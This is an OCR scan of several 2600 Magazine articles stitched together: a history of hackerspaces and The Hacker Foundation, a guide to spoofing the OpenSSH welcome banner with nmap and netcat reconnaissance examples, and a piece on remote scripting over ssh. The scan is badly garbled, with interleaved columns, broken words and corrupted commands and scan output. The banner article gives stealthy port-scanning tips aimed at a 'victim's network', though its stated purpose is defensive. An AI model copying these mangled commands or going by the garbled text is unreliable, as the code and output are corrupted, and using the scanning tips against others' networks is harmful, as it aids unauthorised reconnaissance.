hackerspace cal led New Hack City. In what researchers, h u m a n itar ians ,  teachers, and  
used to  be a sweatshop, hackers from the Cu l t  other l a be l s  eas i ly i ntercha ngea b l e  w i th  
of  the  Dead Cow a n d  the i r  fr iends had created "hacker." In the process of app l y i ng for 501 (c) 
an i nsa ne ly  awesome space. Most people (3)  status,  we had to show how hackers p l ayed 
only got to see the dance floor, but beh i n d  all these d i fferent roles . 
a mov i n g  wall h i d  a very la rge hacker lab, Nea rly two years after fi rst be i ng told 
f i l led with mach i nes, robots, tools, and  spaces it could n 't be done, HF ach ieved 501 (e) 
where hackers got together to b u i l d  i n sanely (3) status .  Si nce then, many other hacker 
cool th i ngs.  orga n i zat ions have appl ied for exempt ion,  

The one bad th i ng about New H ack City was prou d l y  us i ng the word hacker w i thout 
that i t  was a re l at ive ly c l osed, t ight- k n i t  group fea r  of  be ing a utomat ical ly rejected . One 
of people who real l y  d i d n 't wa nt  to open u p  o f  t h e  most powerfu l accompl ish ments of 
the i r  space to all but  a few trusted fr iends,  let T H F  was prov i ng that i n dependent hackers 
a lone the genera l p u bl ic .  U lt i mately, beca use and projects could apply  for 501 (c)(3) status 
they fa i l ed to attract new people to help pay without a lot of money or outs ide expert i se . . .  
the rent, the space ended u p  c l os i ng.  that hack ing  was a "tax exempt act iv i ty." Many 

I t  was a ro u n d  this t ime that I bega n to gpt of the hackerspaces form i ng today, i nclud i ng 
i nvo l ved with nonprofit organ i zat ions .  There's Hac OC, a re apply i ng to become 5 01 (c)(3) 
a type of nonprofit orga n i zat ion ca l led a 5 0 1  (c) orga n i zat ions so they GI n more eas i l y seek 
(3) that's both exempt from federa l tax and  i s  fu n d i n g  and  resou rces from the com m u n i t ies 
a uthor ized to accept tax-deduct i ble donat ions they serve. 
from i nd i v i duals and corporat ions .  When Tha n ks to a hackerspace in Ber l i n , H F  
most people th i n k  of a " rea l "  nonprofit, they're emba rked on what is proba b l y  one of the 
th i n k i ng of a 5 01 (c)(3). In contem p l at i n g  the greatest orga n i zat iona l  and soc i a l  hacks I 've 
fa i lu re of New H ack City, and  see ing  that been i nvo l ved with.  HF was i nv i ted to 2 3 C3 , 
hackers d i d n't real l y  have a way of gett ing  the  2 3 rd a n n u a l  Chaos Com m u n icat ion 
i n dependent fu n d i ng for the i r  projects, I Congress i n  Germany, and  I spoke there on 
embarked on a n other b u rea ucrat ic  hack that behalf of the fou ndat ion .  I was i n cred i b l y  
eventual ly  became T h e  Hacker Fou ndat io n .  i m p ressed b y  t h e  E u ropm n hacker scene, 

To become a 501 (c)(3), you h ave to form somet h i n g  I had o n l y  tangenti a l l y seen at 
a corporat ion and app ly  with the I RS to ga i n  hacker events here i n  the U .S. 
recogn i t ion as  a tax-exempt nonprofit. Most What rea lly f loored me was see ing  C- Basp 
organ i zat ions don't even attempt i t  without (c-base.org), a l a rge, open, and  i nv i t i ng  
the help of  a CPA and  a n  attorney. Nobody com m u n ity of h ackers who had b u i l t what 
thought a gro u p  of hackers could ga i n  I v iewed as New Hack Ci ty on stero ids .  
recogn i t ion for a n  orga n i zat ion cal led "The U psta i rs wa s a dance floor r i nged by a bar, 
H acker Fou n dat ion" without a lot of outs ide loft workspaces, a huge OJ booth,  publ ic  
help. Most people thought  we shou ld  just  g ive term i nals, and  a n  evpr chang ing array of 
the organ i zat ion a more i n nocent sou n d i ng decorat ive techno l ogy. Downsta i rs, they had 
name - that we'd be shoot i n g  ou rse l ves in  the almost every k i nd of  spec i al ized workspace 
foot by u s i ng the word "hacker" in our n ame. a hacker cou ld  wa nt, everyth i ng from a fully 
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stocked server room to a record i ng stud i o  a n d  the i r  E u ropean hacker fr iends t o  thei r fe l l ow 
a woodwork i n g  shop ! One of my fa i l i ngs as  hackerspace members. I t  was awesome to 
a writer is an i na b i l i ty to fu l l y  com m u n i cate see other spaces in the u . s .  get to meet a n d  
w h a t  a n  i mpress ion t h e  C-Base had on me.  I f  network  w i t h  each other. W e  h a d  groups from 
you 're i nterested in see i n g  what a hackerspace a l l  parts of North Amer ica,  l i ke No isebridge 
can be, I strongly encou rage you to attend th i s  from Sa n Fra n c i sco, t h e  Texarkana I nst itute 
year's congress i n  Ber l i n ,  the 2 5C3 (events. of Tech no logy from Arkansas,  and east coast 
ccc.de) a n d  v i s i t  the C-Base.  My hope i s  that 
one d H DC · 1 1  h ·  

. 
W h ·  t 

" loca l s"  HacDC, NYCResi stor, the Hacktory 
ay ac WI ac l eve In as  I ng on 

what C-Base has a c h i eved in Ber l i n .  from Ph i l l y, a n d  even representatives from 

See i ng the C-Base, I knew that hackers from hack lab .to in Toronto ! We had a h u ge 

th i s  s ide of the Atl ant ic  wou l d  be i ns p i red. I m i c rocontro l ler  workshop, a c i rc u i t  bend i ng 

had been encou raged by Germans to br ing  l a b, o u r  own hackersmart with parts a n d  

hackers from Amer ica over t o  E u rope for t h e i r  o ld  b its o f  hacker h istory, a n d  a l ive l i n k  to 
hacker camp happe n i n g  l ater that year. I ' m  t h e  Meta l a b  i n  Vien n a !  Most i mportant ly, 
not qu i te s u re if it was ent i re ly coi n c i denta l ,  these g i fted hackers ded icated to  b u i l d i n g  
b u t  they had sched u led camp t o  h appen r ight com m u n ity got to meet a n d  soc i a l i ze with the i r  
after DefCon 1 5 . The m i n ute I got back, I cou nterparts a round the wor ld ,  m a k i ng fr iends 
started work i n g  on m a k i ng Hackers on a P lane  a n d  th i n k i ng of  new i deas, com i n g  together i n  
happen.  exact ly the way I hoped they wou l d .  I got to 

We set out to m a ke the u l t i m ate h acker see, fi rsthand,  a com m u n ity form i ng a round 
vacat ion .  For  $ 1 , 3 3 7  (or 1 , 3 3 7  eu ros), you an event I he l ped put together. The HOPE 
got a t icket to  DefCon, rou nd tr ip  a i rfa re from 

conferences h ave a l ways brought hackers 
l.as Vegas to Germa ny, a t icket, and a l l  the 
supp l ies you 'd need at the camp.  Aga i n, words from a round the wor ld  and hel ped strengthen 

fa i l  me in descr i b i n g  how awesome the camp the i nternat iona l  hacker com m u n ity. The 

was. I strongly encou rage you to check out Hackerspace Vi l l age was mere ly  a n  extens ion 

the docu menta ry about the camp to see for of that, focused a round h e l p i n g  hackers b u i l d  
you rsplf (chaosra d i o.ccc. de/ctv l 1 3 . html) .  permanent gather ing poi nts where they l ive, 

Aga i n ,  in retrospect, putt i ng 40 h u ng-over so they can enjoy someth i n g  l i ke a yea r-round 
hackers on a transcont i nenta l fl ight, then HOPE of  the i r  own .  
d u m p i ng them i n  a f ie ld w i th few creatu re I n  many ways, a hacker's work i s  never 
comforts was not rea l l y a great idea .  Yes, rea l l y  fi n i shed. Mak i ng spaces l i ke HacDC 
the hacker  camps i n  E u rope a re exactly that:  and NYCResi stor th r ive takes a lot of effort _ 
camps.  One of o u r  fi rst log ist i c a l  fa i l u res was and conti n ues to test the b u reaucrat ic sk i l l s  
not ra i s i n g  a l l  the tents w e  needed before of the hackers who keep them go i ng.  I ' m  sad 
n ightfa l l .  Wh i l e  (a l m ost) everyone who went to say that between my day job, he lp ing  ru n 
had a great t i me, a n d  the camp organ i zers d i d  
everyth l· ng I· n the · r  po er t )  h ' l p  s o t d( · n  J Hac DC, and trave l i ng to conferences to he lp  . I W ( e u. u , . II g 
the wor ld 's two l a rgest hacker  events i n  the i ns p i re more hackerspaces, there i sn 't a lot of 

same week i s  not someth i ng I 'd recommend t i m e  for me to get a n d  stay i nvo l ved i n  " rea l 

repeat ing .  hack i ng," l i ke M icrocontro l ler  Mondays. 

Even after a long week of party i ng with As HacDC embarks on a project that 
fe l l ow hackers, a few brave sou l s  dec i ded to partners com m u n i ty organ i zat ions to he lp  
conti n u e  on a week long tou r  of  hackerspaces b u i ld a rea l ,  comprehens ive, and free wi reless 
throughout Germany and Austr i a .  Here, network in our  ne igh borhood, I rea l i ze with 
v i s i t i ng  the C-Base, the C4 i n  Cologne, the both trep idat ion a n d  grat i tude that my greatest 
Meta l a b  in Vienna,  Das Labor, E ntrop ia ,  the soc i a l  and orga n izat io n a l  hacks a re yet to 
Netz laden and others, hackers were i ns p i red come. I rea l i ze that I h ave a lot more m i stakes 
by the same th i ngs I saw a few months ear l i er. to m a ke a n d  lessons to learn .  Wh i le I may 
Th ree hackers from New York C i ty dec i ded to never see the day where the average person 
form the i r  own hacker space and started lay ing 
the fou ndat ion for what  became NYCResi stor 

equ ates the term hacker with gen i us, pass ion,  

(nycres i stor.com) r ight in the m a i n  space of a n d  c reat iv i ty, I 'm hope that that I 'm p l ay i ng 

the C4! some sma l l  part in b r i ng ing  th i s  comm u n ity 

Th i s  yea r, at The Last HOPE conference, c l oser together for the benefit of m a n k i nd .  

many of  these hackerspaces come out for the If you 're interested i n  building a hacker-

fi rst u .S. H a c kerspaceVi l i age. I ' m  happy to say space, be sure to check out hackerspaces. org. 
it was a com p l ete success, as that fi rst group Nick is more than happy to take your e-mails 
of i nsp i red American  hackers got to i ntroduce at  nickfarr@hacdc. org 
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When try i n g  to ga i n  a ccess to a compu ter 
through n o n -trad i t i on a l  mea n s, o n e  of the 
f i rst t h i ngs you do i s  a port sca n .  You wa n t  to 
f i n d  out  what  ports a re open,  what  softwa re 
i s  ru n n i ng o n  those ports, a n d ,  if poss i b le,  
the vers i o n  of that  software. Then,  you c a n  
see i f  there a re a n y  known v u l nera b i l i t i es for 
you to exp l o i t .  I n  m a ny cases, you c a n  use 
b a n ner  grabb i n g  to determ i ne which soft­
ware is ru n n i ng a n d  i ts  vers i o n .  After you 
con nect to an open port, i t 's often po l i te for 
the serv i ce to send you a we l co m e  b a n ner 
conta i n i ng i nforma t i o n  about i t .  Th i s  a rt i c l e  
i s  about  how t o  spoof the we lcome b a n ner 
in  open sou rce servers, u s i n g  OpenSSH as 
an exa m p le,  to tr ick or  otherwise th row off 
potent i a l  a ttackers. 

The most popu l a r  port scan ner today i s  
n m a p, w h i c h  y o u  c a n  get at  i n s e c u r e . o r g .  I t  
h a s  a p l ethora of featu res, a n d  i f  you 're n o t  
a l ready fam i l i a r  w i t h  i t  I s u ggest you read u p  
o n  i t. A typ i c a l  n m a p  scan  l o o k s  l i ke th i s: 
r o o t @ s i r i u s : - # nmap 1 9 2 . 1 6 8 . 1 . 1 0  
S t a r t i ng Nmap 4 . 6 0 ( h t tp : / / nmap . o rg ) 

a t  2 0 0 8 - 0 4 - 2 6  2 0 : 4 5 EDT 

I n t e r e s t i ng p o r t s  on 1 9 2 . 1 6 8 . 1 . 1 0 :  
No t s hown : 1 7 1 1  c l o s ed p o r t s  
PORT STATE S E RV I C E  

2 2 / t cp 
B O / t e p  

o p e n  8 s h 
open h t tp 

3 1 2 8 / t cp open s qu i d - h t tp 
5 9 0 0 / t c p  open vne 
Nmap done : 1 I P  addre s s  ( 1  ho s t  up ) 

s c anned in 0 . 1 3 9  s e c onds 

N m a p  can a l so do vers i o n  detect ion a n d  
OS f ingerp r i n t i ng, though I wou l d  avoi d  
u s i ng these featu res u n less you 're out  o f  other 
opt ions .  They a ren 't very stea l thy. OS f inger­
pr i nt i ng  h a s  been k n ow n  to crash servers 
before, a n d  it 's not a l ways accu rate. Here's 
what  the same scan l ooks  l i ke w i th  vers i o n  
detect ion e n a b l ed:  

r o o t @ s i y i u s : - # nmap sV 1 9 2 . 1 6 8 . 1 . 1 0 
S t a r t i n g Nmap 4 . 6 0 ( h t t p : / / nmap . o r g ) 

� a L 2 0 0 8 - 0 4 - 2 6  2 0 : 4 6 EDT 

I n t e r e s t i n g  p o r t s  o n  1 9 2 . 1 6 8 . 1 . 1 0 :  
No t s h own : 1 7 1 1  c l o s e d  p o r t s  

PORT STATE S E H V  I C E  V E l, S  [ ON 

2 2 / t c p  o p e n  8 s h  Open S S H  

� 4 . J p 1  D e b i a n  8 ubun t u !  ( p r o t o c o l 7 . 0 ) 
8 0 / t c p  o p e n  h t tp A p a c h e  

� h t t p cl 2 . 2 . 8  ( (I l b u n t u ) P H P / 'i . 2 . 4 -

.... 2 u bu n t u r)  w i t h  S u ho s i n - P a t c h )  

3 1 2 8 / t cp o p e n  h t t p p r o x y  

� c;qu i d  webp r o x y  3 . 0 .  STABLE l 

5 9 0 0 / t e p  open v n e  VNC 

� ( p r o t o c o l  j .  7 )  

Nmap done : 1 l P  a d d c e s s  ( 1  h o s l  up )  

� s c a n n e d  i n  1 1 . 1 9 4  s c c o rl d s  

I t  m ight  be tem pt i n g  to a l ways do vers i o n  
detect ion ,  or  even OS detect ion ,  w i t h  you r  
n m a p  sca n s  bec a u se the res u l ts m a y  conta i n  
a l ot o f  j u i cy i nforma t i o n .  B u t  i f  the goa l i s  
stea l th ,  i t 's best to m a ke a s  l i tt l e  u n n ecessary 
traff ic  on you r  v i ct i m 's network as poss i b le .  

I n stead ,  I wou l d  s u ggest u s i n g  the  TCP 
SYN scan,  w h i c h  i s  the defa u l t scan type i f  
you 're ru n n i ng a s  root, with n o  other spec i a l  
featu res. You m a y  want  t o  s l ow down the 
scan to m a ke i t  l ess l i ke ly  that  an i ntru s i o n  
detect ion  system w i l l  not ice you .  O n c e  you 
k now what you 're dea l i ng with,  you can try 
fig u r i n g  out the server softwa re and vers i o n  
one a t  a t i me .  There's n o  need to do a vers i o n  
scan o n  the h ttp-proxy port i f  you d o n 't 
i nten d  to attac k  it ,  r ight?  

H ow does b a n ner grabb i ng wor k ?  Servers 
l i sten on TCP ports, a n d  some serv i ces send 
out  a welcome b a n ner a s  soon a s  a connec­
tion is m ade to these ports. To do a m a n u a l  
b a n ner grab, y o u  j u st need t o  con n ect to 
you r  target server on a spec i fi c  port u s i n g  a 
p rogram l i ke te l net or netcat .  Then,  you c a n  
see w h a t  i t  says.  Th i s  certa i n l y  doesn' t  a l ways 
work, but i t  works a l ot of the t i me .  H ere 
a re exam p l e  b a n ner grabs for the serv i ces 
above: 
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r o o t @ s i r i u s : - # nc 1 9 2 . 1 6 8 . 1 . 1 0 2 2  

S S H - 2 . 0 - 0p e n S S H_4 . 7 p l  Deb i a n - 8 ubun t u l  

r o o t @ s i r i u s : - # n c  1 9 2 . 1 6 8 . 1 . 1 0 8 0  

r o o t @ s i r i u s : - # n c 1 9 2 . 1 6 8 . 1 . 1 0 3 1 2 8  

r o o t @ s i r i u s : - # n c  1 9 2 . 1 6 8 . 1 . 1 0 5 9 0 0  

R F B  0 0 3 . 0 0 7  

A s  you c a n  see, the serv i ces o n  port 80 

a n d  3 1 2 8 don 't d i s p l ay we lcome ban ners .  

Port 5900 does,  but  in  order to f ig u re out 

what  i t  m e a n s, you 'd p robab l y  h ave to 

google for i t .  In  those c ases, I th i n k  i t  wou l d  

b e  safe t o  j u st u se n m ap's vers i o n  detect i o n .  

H e re's h o w  y o u  wou l d  o n l y  s c a n  ports 80 

a n d  3 1 2 8, w i th  vers ion  detect ion : 
r oo t @ s i r i u s : - # nmap - sV - p 8 0 , 3 1 2 8  

" 1 9 2 . 1 6 8 . 1 . 1 0 

For t h i s  a rt i c le, we' l l  h i de the  b a n ner  for 

the OpenSS H  server, m a k i n g  it m uc h  h a rder 

to attac k  that  port .  As long a s  you 're reason­

ably comfortab l e  wi th  the syntax of the 

p rogra m m i ng l a nguage that  the server  was 

p rogra m med i n ,  you can do t h i s  o n  you r  

own w i t h  a n y  other  open sou rce server. 

If you 're a l ready r u n n i ng a n  SSH server, 

u n i nsta l l  i t .  Go to opens s h . org a n d  down­

load sou rce code for the l atest vers i o n  of  

OpenSS H . Extract the code, a n d  ed i t  the  f i l e  

s s hd . c .  Th i s  i s  the  C f i l e  for the SSH dea m o n .  

I f  you 're try i ng th i s  w i th  s o m e  other  server, 

it m i ght take a l i tt l e  b i t  of f igu r i n g  out  the 

p rogram f low before you fi n d  exact l y  where 

the b a n ner  gets d i s p layed i n  the code. I n  

OpenSSH, i t's i n  the fu nct ion  s s hd_e xchange_ 

" i d e n t  i fic a t i on I ) .  Sea rch for the l i ne that  

l ooks l i ke t h i s: 
s np r i n t f l b u f , s i. z e o f  bu f ,  " S S H - % d . % d ­

" % . 1 0 0 s \ n " , ma j o r ,  m i n o r , S S H_VE R S I ON 

.. ) ; 
Th i s  i s  the  l i ne w h i c h  p r i n ts a ba n n e r  that  

l ooks s i m i l a r  to " S S H - 2 . 0 ·· Op e n S .S H_4 . 7 p l  

Deb i a n - S u b u n t u l .  The fi rst p art, " S S H - % d . % d - , " 

i s  necessary for SSH c l ients to know what  

vers i o n  of the SSH protocol  they're dea l i n g  

w i t h ,  a n d  they won't  be a b l e  t o  con nect i f  

t h a t  i s n 't i ntact. T h e  n e x t  p a rt d i s p l ays t h e  

va l ue of the constant  S S H_VE R S I ON, w h i c h  i s  

defi ned i n  v e r s i on .  h .  H e re's w h a t  I c h anged 

that  l i ne of code to: 
snp c i n t f l bu f ,  s i, z e o f  b u t , " S S H - % d . %d­

"ME S S  W I T H  T H E  B E S T , D I E  L I K E  T H E  

.. R E S T \ n " , ma j o r ,  m i no r ) ; 

That's i t .  Save the f i l e, a n d  com p i l e  a n d  

i nsta l l  OpenSS H .  There a re deta i l ed i n st ruc­

t i o n s  in  the f i  I e  I NSTALL, but, in  short, you n eed 

to m a ke s u re you have the z l i b  and OpenSS L  

deve lopment  l i b ra r i es i n sta l l ed; t h e n ,  

y o u  type . / config u r e ,  then  mak e ,  t h e n  

make i n s t a l l. 

Now that  I ' m  ru n n i ng my n ew l y  c o m p i led 

OpenSSH server, here's what  the b a n ner  grab 

l ooks l i ke :  
r o o t @ s i r i u s : - # n c  1 9 2 . 1 6 8 . 1 . 1 0 2 2  

S S H - 2 . 0 - ME S S  W I T H  T H E  B E S T , D I E  L I KE 

.. THE RE S T 

A n d  here's what  the n m a p  vers i o n  detec­

t i o n  scan l ooks l i ke : 
r o o t @ s i r i u s : - # nmap - s V - p 2 2  

.. 1 9 2 . 1 6 S . 1 . 1 0 

S t a r t i n g  Nmap 4 . 6 0 ( h t t p : / / nmap . o r g  

.. a t  2 0 0 S - 0 4 - 2 6  2 1 : 0 0 E DT 

I n t e r e s t i n g  p o r t s  on 1 9 2 . 1 6 S . 1 . 1 0 :  

PORT S TATE S E RV I C E  VE R S I ON 

2 2 / t c p  o p e n  s s h  ( p r o t o c o l  2 . 0 ) 

1 s e rv i c e  u n r e c o g n i z e d  de s p i t e  

.. r e t u r n i n g  d a t a . I f  y o u  k n o w  t h e  

� s e rv i c e / ve r s i o n ,  p l e a s e  s ubmi t t h e  

- f o l l ow i n g  fin g e r p r i n t  a t  h t tp : / / www . 

.. i n s e c u r e . o r g / c g i - b i n / s e rv i c e fp -

.. s ub m i t . c g i  : 

S F - P o r t 5 2 1 S 6 - T C P : V� 4 . 6 0 % I � 7 % D= 4 / 2  

- 6 % T i m e � 4 S 1 3 D 0 5 0 % P � x S 6 6 4 - u n k n o w n -

- l i n u x - g n u % r I N U L L , 2 E , H S S H - 2 \ . O -

"ME S S \ x 2 0 W I T H \ x 2 0 T H E \ x 2 0 B E S T , \ 

" x 2 0 D I E \ x 2 0 L I KE \ x 2 0 T H E \ x 2  

" S F : O R E S T \ n H )  ; 

S e rv i c e  d e t e c t i o n  p e r f o rm e d . P l e a s e  

... repo r t  any i n c o r r e c t r e s u l t s  

.. a t  h t tp : / / nmap . o r g / s u bm i t /  . 

Nma p d o n e : 1 I P  a d d r e s s  I I  h o s t up ) 

- s c an n e d  i n  6 . 0 8 7  s e c o n d s  

Ed i t i ng  other  peop le 's software l i ke th i s  

rea l l y i s n 't a s  i nt i m i d a t i n g  a s  i t  m i ght seem ,  

p rov i ded t h a t  y o u  u nderstan d  s o m e  o f  the 

l a nguage i t's p rogra m med i n .  Without  too 

m u c h  tro u b l e, you cou l d  even ed i t  the server 

so that i t  doesn 't send the SSH protocol  

vers i o n  and ed i t  the c l i ent  so i t  doesn 't 

req u i re a p rotocol  vers i o n  to be sent .  Th i s  

way, a ttackers won't  even know t h a t  they're 

dea l i ng w i t h  an SSH server, a n d  you ' l l  o n l y  

b e  a b l e  t o  con nect t o  i t  w ith you r  spec i a l  

c l i ent .  The poss i b i l i t i es o f  b u l l etproof secu ­

r i ty w i t h  j ust a l i tt l e  b i t  o f  code h a c k i n g  a re 

e n d l ess . 
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Don' t  t rust anyone who smokes mar i juana 
and votes for B u sh. I ' ve had friends who have 
smoked p lenty of pot, and I ' ve known a few 
peop le who voted for B u sh that I can get a l ong 
with, but anyone who does both is bad news. 
Stay away. 

Before I go i nto too m uch deta i l , there a re 
fou r things that we shou ld  be fam i liar with. I f  
you ' ve been us ing *n ix for any length of time, 
then you may a l ready be fam i l i a r  with them. 
A lone, they a l l ow for some neat t r icks, but 
together they can be u sed for a d i fferent k i  nd 
of remote scr i pting. 

I h ighly recommend that these techniq ues 
be u sed with ssh publ i c  key authent icat ion. If 
you want to u se a cron job, then i t ' s  a neces­
si ty. Do a web-search if you ' re not fa mi l i a r  
with this; there a re a l ot of tutoria l s  o n  the 
web, so I won ' t  go i nto deta i l  here. I wil l point 
out that publ i c  key a uthenticat ion i s  not onl y  
m ore convenient th;m typing a passphrClse but 
a l so more secu re aga i nst certa i n  attacks. 

I n  the fol lowing exa m p l es, the assu mption 
is that you ' re l ogged into a box runn ing *nix 
and that you have ssh access to a second box 
a l so running *n ix. For those on a t i ght budget 
or otherw i se restr i cted in access to resou rces, 
you can p l ay a l ong wi th two d u mpstered 
computers or two Windoze boxes after hou rs, 
some Ubuntu CDs, and a switch, router or 
hub. In a pinch, a crossover ethernet cable 
can do the job. 

s u s p i c  o u s . o r g  u p t i me 

'J : 5 1 p m  up "1"1 daye; 1 1 : 2 9 ,  'I u s c r s ,  

� l o ad a v e r ag e : U . O O ,  0 . 0 0 ,  0 . 0 0 
To q u ote from the ssh manu a l ,  " If  [al  

command is specified, i t  is executed on the 
rem ote host i nstead of a l ogin she l l . "  That ' s  a 
neat trick. The exa m p l e  above shows a si m p l e  
command without options or a rguments, b u t  
with proper q u ot i ng this can a l so b e  u sed for 
comp l ex com mands inc l uding p i pe l ines, l i sts, 
control operators, and scr i pts. 

Trick 2: Command interpreters (shel ls) 
can read commands from standard input. 

% c c tl O  u p L i me I s h  

9 : � I) PM up 7, : 0 8 ,  0 U :-3 e c ,::; , -l o a d  

� av e r a g e s : O . O S ,  0 . 1 2 ,  0 . 0 8 
We can p i pe things i nto " Ii,  and they wi l l  

be executed by the she l l .  You don't think thClt ' s  
exc i t ing? OK,  m aybe i t  isn't ,  i n  that exa m p l e. 
I nstead of sh, we can a l so u se other she l l s  
(bacoh,  " "h, k c; h) and app l i cations that can 
be used as com mand i nterpreters (pe r l ,  php, 
py L hon, etc. ) .  In the fol lowing fou r exa m p les, 
we can u se a com mand l ine i nterface to p i pe 
si mp le  com mands into different a pp l i cations' 
standard input. The output of a l l  fou r  of these 
examples is "H e l l o  World."  
% e c h o  ' p u t :-:;  " H e l -l o  wo r l d . '" I ruby 

% echo 1 p r l_ n t  1 1  H e' l l 0 W C H' 1 . ' " I py L h on 

% e c h o  ' p r i n t  " I� e l l o 

l/llo c J ci . \ n " ; '  I p e r l  

% e c t l o  c c tl o ( " H c l l u  W o r- l d . \ n " ) ;  

� c .. ' I php 

Whi le  the rest of the exa m p l es a l l  u se the 
Bou rne she l l ,  the above examples demon­
strate tha t you can use these techniques wi th 
just about any i nterpreted l anguage. 

Trick 3:  SSH can pass data through 
Trick 1 :  SSH can standard input, output and error. 

execute remote commands. ccho upL i 111(' 1 ,r L o m el , 'I:';P i c i 

On my l a ptop I can execute the u p t ime � . O y q  :;h 

com mand and see outp u t  l ike this: 'J : 'o l pm Il l'  n d a y s  11 :  3 2 , 1 U:; C' l  :,; , 
u p �_ i TTlc . -j C Flcl il v e r a C-J f' : D . D D ,  D . D O ,  0 . 0 0 

') : 5 4 PM up ) : 0 1 ,  () U : W [c-; ,  l u dcl What ' s  actu a l l y  happening there is the 
� dv e r a q E" ; :  0 . 0 8 ,  0 . 1 4 ,  0 . 1 0  loca l machine is echoing upt ime into a p i pe, 

B u t  what if I want to q uick ly  run u p t j ll\e the p i pe is passing it to the standa rd input 
on a remote server? Of cou rse, I cou ld  l og in of the command, which passes it to ;; 11  
v i a  SSH and type upt i m e .  Another way to do (again, on standard input) on the remote 
this is to specify u ptime as an a rgument to ssh: m achine where it is exec uted by " h ,  and then 
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the standard output is d i sp l ayed l oca l l y. Actu­
a l l y, i f  we ' re p i p i ng i nto ssh we don ' t  h ave to 
speci fy the sh as a command; if we l eft it out, 
the i nput  wou l d  be executed by the defa u l t  
log i n  she l l .  There a re two reasons I i n c l ude the 
s h  exp l i c i t ly:  bec a u se it 's  u n ambiguous and 
because I tend to write scr i pts that a re spec if ic 
to d i fferent she l l s, so i t's good to spec i fy wh ich  
she l l to  use. 
% s s h  a t om@ s u sp i c i ou s . o r g  ' e c h o f oo ba r ' 

.. I ro t 1 3  s bbone 

In the a bove examp l e, the remote mach i ne 
echoes "foobar" to standard output. That output 
comes to the local  mach i ne, where i t's p i ped 
through r o t 1 3 .  What I see on my console is 
the remote mach i n e ' s  output, "foobar", after it 
i s  rot1 3 -encoded on the loca l mach i ne. 
% ssh a t om@susp i c ious . o r g  

.. ' ec h o  f o o b a r  ] > & 2 ' I r o t 1 3  

f o o b a r  
In  th i s  exam p l e, the remote mach i ne echoes 

"foobar" to standard error. A l though the output 
i s  sti l l  being p i ped i nto r o t l 3 ,  the output i s  not 
encoded because rot1 3 o n l y  encodes sta n ­
dard output from t h e  s s h  comm and; t h e  ssh 
command here outputs "foobar" on sta ndard 
error, so it is not encoded. Standard output and 
sta ndard error can  be treated i n dependently 
on one mach i ne, even when the command is 
executed on a nother mach i ne. 

Trick 4: SSH wi l l  return with the exit 
status of the last command it executes. 

% s s h  a tom@ s u sp i c i o u s . o r g  ' l s f o o b a r ' 

I s :  canno t a c c e s s  f o o ba r : No s u c h  fi l e  

.. o r  d i r e c t o r y  

% e c h o  $ ?  

2 

Ass u m i ng that there i s n ' t  a fi l e  i n  my 
home d i rectory on the remote mach i ne c a l led 
[ oobar, the I s  command wi l l  ex i t  with a 
nonzero return code, and ssh w i l l  return that 
status to me, loca l l y. 

Note that the command argument to 
ssh is i n  s i ng le  quotes. Th i s  examp le  wou l d  
work without quotes, b u t  i t's good prac­
t ice to use quotes. For a nyth i ng beyond 
s i m p l e  com m ands, i t  becomes necessary to 
use quotes. I t ' s  a l so worth not ing  that th i s  
com m a n d ' s  output  i s  sent to  standard error; 
ssh then passes i t  to standard error on my 
term i n a l ,  where i t  can be h a n d l ed d i fferent ly 
than standard output.  

base-driven rea l estate web s i tes. The code I 
i n her ited made crap look good.  The o n l y  th i ng 
worse than the code I i n her i ted was the data 
d u mps that were supp l i ed every n ight and 
needed to  be converted i nto va l id SQL. 

The scr ipt that I i n her i ted to do th i s  conver­
s ion was 1 500 l i nes of u ncommented perl  
wh ich  needed regu l a r  m a i ntena n ce. I t  typ i ­
ca l ly took h a l f  a n  hour  for the scr ipt to  parse 
the data d u m p  before i t  dec ided whether to 
fu nct ion correctl y, crash, or fi l l  the SQL data­
base with garbage. The fi rst th i ng I did on 
that job was to re-wr ite i t  a s  a 1 5  l i ne she l l 
scr i pt (not cou nt ing comments) that ran i n  two 
m i n utes a n d  never needed tu n i ng.  

The data dump usu a l l y  came between 
m i d n ight and 6am. R u n n i ng the scr ipt from a 
cron job, I had to add a few th i ngs to m a ke 
sure the d u m p  was com p l ete before pars i ng it; 
I a l so added a few other san i ty checks. In th i s  
case, i t  was better t o  h ave a d ay-o ld  database 
than a broken database. So, by the time i t  was 
ru n n i ng on a u to- p i l ot, I had the scr i pts do ing 
san ity checks; i f  everyth i n g  checked out, then 
the scr ipts wou l d  read the data  dump a n d  
convert i t  i nto SQL. T h e  SQ L w a s  w a s  san ity 
checked and then i mported i nto the database. 

My code was ru n n i ng perfect ly, I was 
m a k i ng a few bucks, and I was cop i ng reason­
ably wel l  with former Mar i nes who, i n stead of 
foc u s i ng on ru n n i ng the b u s i ness and keep i ng 
thei r c l ients happy, kept gett ing a l l  fi red u p  
about a l l  o f  t h e  great th i ngs Bush  i s  doi ng, 
paus ing  o n l y  to a n nou nce the t ime every 
afternoon at 4:2 0. Pred i ctab l y, the bus i ness 
re l at ionsh ip  tu rned ug ly; i t  was time for me to 
l eave and take my code, but  I had ob l igat ions 
to keep them u p  and r u n n i ng. 

Putting It  All Together 
needed to get the scr i pts off of the i r  

servers, but  I needed t h e m  t o  run  every 
n ight. Wel come to a d i fferent k i nd of remote 
scr ipt i ng !  Let's com b i ne a few of the tr icks 
above to c reate a s i mp le  examp le  of us ing ssh 
to execute scr i pts remote l y: 
% c a t  t e s t - s c r i p t  

# ! / b i n / s h  

# #  c a t  m y  p l an a n d  p i p e  i t  i n t o  r o t 1 3  

c a t  - I . p l a n  I r o t 1 3  

Now, l et's run  that s i mp le  scr ipt o n  a 
remote mach i ne: 
% ssh a t om@sma s he r . o r g  s h  < t e s t - s c r i p t  

Pbzcyrg r , gbgny , hapb z c eb z v f r q  tybony 
Pot Smoking Bush Voters .. qbzvangvba . 

wou n d  up i n  a bad b u s i ness dea l with Note that the " /' chara cter is j ust a nother 
some pot-smok i ng B u s h  voters. Here ' s  the way for the ssh command to read standard 
short vers i o n :  I was contractua l l y ob l igated to i nput  from a fi l e. 
run  code on the i r  server, but  I d i d n't want them A reasonab ly  com p l icated examp le  wou l d  
to have t h e  code. I was or ig i n a l l y  contracted be the database scr i pts I was ru n n i ng for my 
to b u i l d  and f ix back-end code for some data- po l it ica l l y c h a l lenged assoc iates. When the 
...... Page 32-------------------2600 Magazine 



d atabase scr ipts were run  d i rect l y  on the i r  
server, i t  l ooked l i ke t h i s: 
% s c r i p t l  I s c r i p t 2  && s c r i p t 3  

After de let i n g  t h e  scr ipts from the i r  server 
a n d  ru n n i ng them from my desktop, it l ooked 
l i ke t h i s: 
